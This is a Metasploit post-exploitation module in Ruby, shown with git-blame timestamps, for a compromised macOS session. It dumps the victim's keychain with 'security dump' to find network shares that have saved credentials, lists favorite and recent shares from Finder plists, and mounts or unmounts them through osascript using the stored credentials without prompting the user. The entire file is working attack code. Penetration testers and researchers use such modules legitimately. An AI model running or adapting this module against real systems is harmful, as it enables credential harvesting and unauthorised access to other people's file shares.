2013-11-13 10:21:39 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
2013-11-27 11:22:12 +00:00
|
|
|
FILE_SHARE_PROTOCOLS = %w(smb nfs cifs ftp afp)
|
2013-11-13 10:21:39 +00:00
|
|
|
|
2013-11-27 11:45:46 +00:00
|
|
|
NAME_REGEXES = [/^Name \= \"(.*)\"\;$/, /^Name \= (.*)\;$/]
|
|
|
|
|
2013-11-27 11:22:12 +00:00
|
|
|
include Msf::Post::File
|
2013-11-13 10:21:39 +00:00
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super( update_info( info,
|
2013-11-13 11:32:49 +00:00
|
|
|
'Name' => 'OSX Network Share Mounter',
|
2013-11-13 10:21:39 +00:00
|
|
|
'Description' => %q{
|
2013-11-13 16:03:38 +00:00
|
|
|
This module lists saved network shares and tries to connect to them using stored credentials. This does not require root privileges.
|
2013-11-13 10:21:39 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
2013-11-27 12:08:48 +00:00
|
|
|
'Peter Toth <globetother[at]gmail.com>',
|
|
|
|
'joev'
|
2013-11-13 10:21:39 +00:00
|
|
|
],
|
|
|
|
'Platform' => [ 'osx' ],
|
|
|
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
|
|
'Actions' => [
|
2013-11-27 11:22:12 +00:00
|
|
|
[ 'LIST', { 'Description' => 'Show a list of stored network share credentials' } ],
|
|
|
|
[ 'MOUNT', { 'Description' => 'Mount a network shared volume using stored credentials' } ],
|
2013-11-13 16:03:38 +00:00
|
|
|
[ 'UNMOUNT', { 'Description' => 'Unmount a mounted volume' } ]
|
2013-11-13 10:21:39 +00:00
|
|
|
],
|
|
|
|
'DefaultAction' => 'LIST'
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2013-11-13 16:03:38 +00:00
|
|
|
OptString.new('VOLUME', [true, 'Name of network share volume. `set ACTION LIST` to get a list.', 'localhost']),
|
2013-11-27 11:22:12 +00:00
|
|
|
OptEnum.new('PROTOCOL', [true, 'Network share protocol.', 'smb', FILE_SHARE_PROTOCOLS])
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
2013-11-13 11:32:49 +00:00
|
|
|
OptString.new('SECURITY_PATH', [true, 'Path to the security executable.', '/usr/bin/security']),
|
|
|
|
OptString.new('OSASCRIPT_PATH', [true, 'Path to the osascript executable.', '/usr/bin/osascript']),
|
2013-11-21 22:55:24 +00:00
|
|
|
OptString.new('SIDEBAR_PLIST_PATH', [true, 'Path to the finder sidebar plist.', '~/Library/Preferences/com.apple.sidebarlists.plist']),
|
2013-11-27 11:22:12 +00:00
|
|
|
OptString.new('RECENT_PLIST_PATH', [true, 'Path to the finder recent plist.', '~/Library/Preferences/com.apple.recentitems.plist'])
|
|
|
|
]
|
|
|
|
)
|
2013-11-13 10:21:39 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
2013-11-27 11:22:12 +00:00
|
|
|
username = cmd_exec('whoami').strip
|
2013-11-27 12:08:48 +00:00
|
|
|
security_path = datastore['SECURITY_PATH'].shellescape
|
|
|
|
sidebar_plist_path = datastore['SIDEBAR_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}").shellescape
|
|
|
|
recent_plist_path = datastore['RECENT_PLIST_PATH'].gsub(/^\~/, "/Users/#{username}").shellescape
|
2013-11-21 22:55:24 +00:00
|
|
|
|
2013-11-13 10:21:39 +00:00
|
|
|
if action.name == 'LIST'
|
2013-11-21 22:55:24 +00:00
|
|
|
if file?(security_path)
|
|
|
|
saved_shares = get_keyring_shares(security_path)
|
|
|
|
if saved_shares.length == 0
|
|
|
|
print_status("No Network Share credentials were found in the keyrings")
|
|
|
|
else
|
|
|
|
print_status("Network shares saved in keyrings:")
|
|
|
|
print_status(" Protocol\tShare Name")
|
|
|
|
saved_shares.each do |line|
|
|
|
|
print_good(" #{line}")
|
|
|
|
end
|
|
|
|
end
|
2013-11-13 11:32:49 +00:00
|
|
|
else
|
2013-11-21 22:55:24 +00:00
|
|
|
print_error("Could not check keyring contents: Security binary not found.")
|
|
|
|
end
|
|
|
|
if file?(sidebar_plist_path)
|
|
|
|
favorite_shares = get_favorite_shares(sidebar_plist_path)
|
|
|
|
if favorite_shares.length == 0
|
|
|
|
print_status("No favorite shares were found")
|
|
|
|
else
|
|
|
|
print_status("Favorite shares (without stored credentials):")
|
2013-11-27 12:08:48 +00:00
|
|
|
print_status(" Protocol\tShare Name")
|
2013-11-21 22:55:24 +00:00
|
|
|
favorite_shares.each do |line|
|
2013-11-27 12:08:48 +00:00
|
|
|
print_uri(line)
|
2013-11-21 22:55:24 +00:00
|
|
|
end
|
2013-11-13 10:21:39 +00:00
|
|
|
end
|
2013-11-21 22:55:24 +00:00
|
|
|
else
|
|
|
|
print_error("Could not check sidebar favorites contents: Sidebar plist not found")
|
2013-11-13 10:21:39 +00:00
|
|
|
end
|
2013-11-21 22:55:24 +00:00
|
|
|
if file?(recent_plist_path)
|
|
|
|
recent_shares = get_recent_shares(recent_plist_path)
|
|
|
|
if recent_shares.length == 0
|
|
|
|
print_status("No recent shares were found")
|
|
|
|
else
|
|
|
|
print_status("Recent shares (without stored credentials):")
|
2013-11-27 12:08:48 +00:00
|
|
|
print_status(" Protocol\tShare Name")
|
2013-11-21 22:55:24 +00:00
|
|
|
recent_shares.each do |line|
|
2013-11-27 12:08:48 +00:00
|
|
|
print_uri(line)
|
2013-11-21 22:55:24 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
else
|
|
|
|
print_error("Could not check recent favorites contents: Recent plist not found")
|
|
|
|
end
|
|
|
|
mounted_shares = get_mounted_volumes
|
2013-11-13 16:03:38 +00:00
|
|
|
if mounted_shares.length == 0
|
|
|
|
print_status("No volumes found in /Volumes")
|
|
|
|
else
|
|
|
|
print_status("Mounted Volumes:")
|
|
|
|
mounted_shares.each do |line|
|
2013-11-21 22:55:24 +00:00
|
|
|
print_good(" #{line}")
|
2013-11-13 16:03:38 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
elsif action.name == 'MOUNT'
|
|
|
|
mount
|
|
|
|
elsif action.name == 'UNMOUNT'
|
|
|
|
unmount
|
2013-11-13 10:21:39 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2013-11-27 11:45:46 +00:00
|
|
|
# Returns the network shares stored in the user's keychain. These shares will often have
|
|
|
|
# creds attached, so mounting occurs without prompting the user for a password.
|
|
|
|
# @return [Array<String>] sorted list of volumes stored in the user's keychain
|
2013-11-21 22:55:24 +00:00
|
|
|
def get_keyring_shares(security_path)
|
2013-11-13 11:32:49 +00:00
|
|
|
# Grep for desc srvr and ptcl
|
2013-11-27 12:08:48 +00:00
|
|
|
data = cmd_exec("#{security_path} dump")
|
2013-11-22 14:35:45 +00:00
|
|
|
lines = data.lines.select { |line| line =~ /desc|srvr|ptcl/ }.map(&:strip)
|
|
|
|
|
2013-11-13 11:32:49 +00:00
|
|
|
# Go through the list, find the saved Network Password descriptions
|
|
|
|
# and their corresponding ptcl and srvr attributes
|
2013-11-13 16:03:38 +00:00
|
|
|
list = []
|
2013-11-27 11:22:12 +00:00
|
|
|
lines.each_with_index do |line, x|
|
2013-11-27 11:45:46 +00:00
|
|
|
if line =~ /"desc"<blob>="Network Password"/ && x < lines.length-2
|
2013-11-13 16:03:38 +00:00
|
|
|
# Remove everything up to the double-quote after the equal sign,
|
|
|
|
# and also the trailing double-quote
|
2013-11-27 11:22:12 +00:00
|
|
|
if lines[x+1].match "^.*\=\"(.*)\w*\"\w*$"
|
2013-11-21 22:55:24 +00:00
|
|
|
protocol = $1
|
2013-11-27 11:22:12 +00:00
|
|
|
if protocol.start_with?(*FILE_SHARE_PROTOCOLS) && lines[x+2].match("^.*\=\"(.*)\"\w*$")
|
2013-11-21 22:55:24 +00:00
|
|
|
server = $1
|
|
|
|
list.push(protocol + "\t" + server)
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2013-11-27 11:22:12 +00:00
|
|
|
list.sort
|
2013-11-21 22:55:24 +00:00
|
|
|
end
|
|
|
|
|
2013-11-27 11:45:46 +00:00
|
|
|
# Returns the user's "Favorite Shares". To add a Favorite Share on OSX, press cmd-k in Finder, enter
|
|
|
|
# an address, then click the [+] button next to the address field.
|
|
|
|
# @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
|
2013-11-21 22:55:24 +00:00
|
|
|
def get_favorite_shares(sidebar_plist_path)
|
|
|
|
# Grep for URL
|
2013-11-27 12:08:48 +00:00
|
|
|
data = cmd_exec("defaults read #{sidebar_plist_path} favoriteservers")
|
|
|
|
list = data.lines.map(&:strip).map { |line| line =~ /^URL = \"(.*)\"\;$/ && $1 }.compact
|
2013-11-21 22:55:24 +00:00
|
|
|
|
|
|
|
# Grep for EntryType and Name
|
2013-11-27 12:08:48 +00:00
|
|
|
data = cmd_exec("defaults read #{sidebar_plist_path} favorites")
|
2013-11-27 11:22:12 +00:00
|
|
|
lines = data.lines.map(&:strip).select { |line| line =~ /EntryType|Name/ }
|
2013-11-27 11:45:46 +00:00
|
|
|
|
2013-11-27 12:08:48 +00:00
|
|
|
# Go through the list, find the rows with EntryType 8 and their corresponding name
|
2013-11-27 11:45:46 +00:00
|
|
|
lines.each_with_index do |line, x|
|
|
|
|
if line =~ /EntryType = 8;/ && x < lines.length-1
|
|
|
|
if NAME_REGEXES.any? { |r| lines[x+1].strip =~ r }
|
|
|
|
list.push($1)
|
2013-11-21 22:55:24 +00:00
|
|
|
end
|
2013-11-13 10:21:39 +00:00
|
|
|
end
|
|
|
|
end
|
2013-11-27 11:22:12 +00:00
|
|
|
|
2013-11-27 11:45:46 +00:00
|
|
|
list.sort
|
2013-11-13 11:32:49 +00:00
|
|
|
end
|
2013-11-13 10:21:39 +00:00
|
|
|
|
2013-11-27 11:45:46 +00:00
|
|
|
# Returns the user's "Recent Shares" list
|
|
|
|
# @return [Array<String>] sorted list of volumes saved in the user's "Recent Shares"
|
2013-11-21 22:55:24 +00:00
|
|
|
def get_recent_shares(recent_plist_path)
|
|
|
|
# Grep for Name
|
2013-11-27 12:08:48 +00:00
|
|
|
data = cmd_exec("defaults read #{recent_plist_path} Hosts")
|
|
|
|
data.lines.map(&:strip).map { |line| line =~ /^URL = \"(.*)\"\;$/ && $1 }.compact.uniq.sort
|
2013-11-21 22:55:24 +00:00
|
|
|
end
|
|
|
|
|
2013-11-27 11:45:46 +00:00
|
|
|
# @return [Array<String>] sorted list of mounted volume names
|
2013-11-21 22:55:24 +00:00
|
|
|
def get_mounted_volumes
|
2013-11-27 11:45:46 +00:00
|
|
|
cmd_exec("ls /Volumes").lines.map(&:strip).sort
|
2013-11-13 16:03:38 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def mount
|
2013-11-22 14:35:45 +00:00
|
|
|
share_name = datastore['VOLUME']
|
|
|
|
protocol = datastore['PROTOCOL']
|
2013-11-13 11:32:49 +00:00
|
|
|
print_status("Connecting to #{protocol}://#{share_name}")
|
2013-11-27 12:08:48 +00:00
|
|
|
cmd_exec("#{osascript_path} -e 'tell app \"finder\" to mount volume \"#{protocol}://#{share_name}\"'")
|
2013-11-13 10:21:39 +00:00
|
|
|
end
|
2013-11-13 16:03:38 +00:00
|
|
|
|
|
|
|
def unmount
|
|
|
|
share_name = datastore['VOLUME']
|
|
|
|
print_status("Disconnecting from #{share_name}")
|
2013-11-27 12:08:48 +00:00
|
|
|
cmd_exec("#{osascript_path} -e 'tell app \"finder\" to eject \"#{share_name}\"'")
|
2013-11-27 11:22:12 +00:00
|
|
|
end
|
|
|
|
|
2013-11-27 11:45:46 +00:00
|
|
|
# hook cmd_exec to print a debug message when DEBUG=true
|
2013-11-27 11:22:12 +00:00
|
|
|
def cmd_exec(cmd)
|
2013-11-13 16:03:38 +00:00
|
|
|
vprint_status(cmd)
|
2013-11-27 11:22:12 +00:00
|
|
|
super
|
2013-11-13 16:03:38 +00:00
|
|
|
end
|
2013-11-27 11:22:12 +00:00
|
|
|
|
2013-11-27 12:08:48 +00:00
|
|
|
# Prints a file share url (e.g. smb://joe.com) as Protocol + \t + Host
|
|
|
|
# @param [String] line the URL to parse and print formatted
|
|
|
|
def print_uri(line)
|
|
|
|
if line =~ /^(.*?):\/\/(.*)$/
|
|
|
|
print_good " #{$1}\t#{$2}"
|
|
|
|
else
|
|
|
|
print_good " #{line}"
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2013-11-27 11:22:12 +00:00
|
|
|
# path to osascript on the remote system
|
2013-11-27 12:08:48 +00:00
|
|
|
def osascript_path; datastore['OSASCRIPT_PATH'].shellescape; end
|
2013-11-13 10:21:39 +00:00
|
|
|
end
|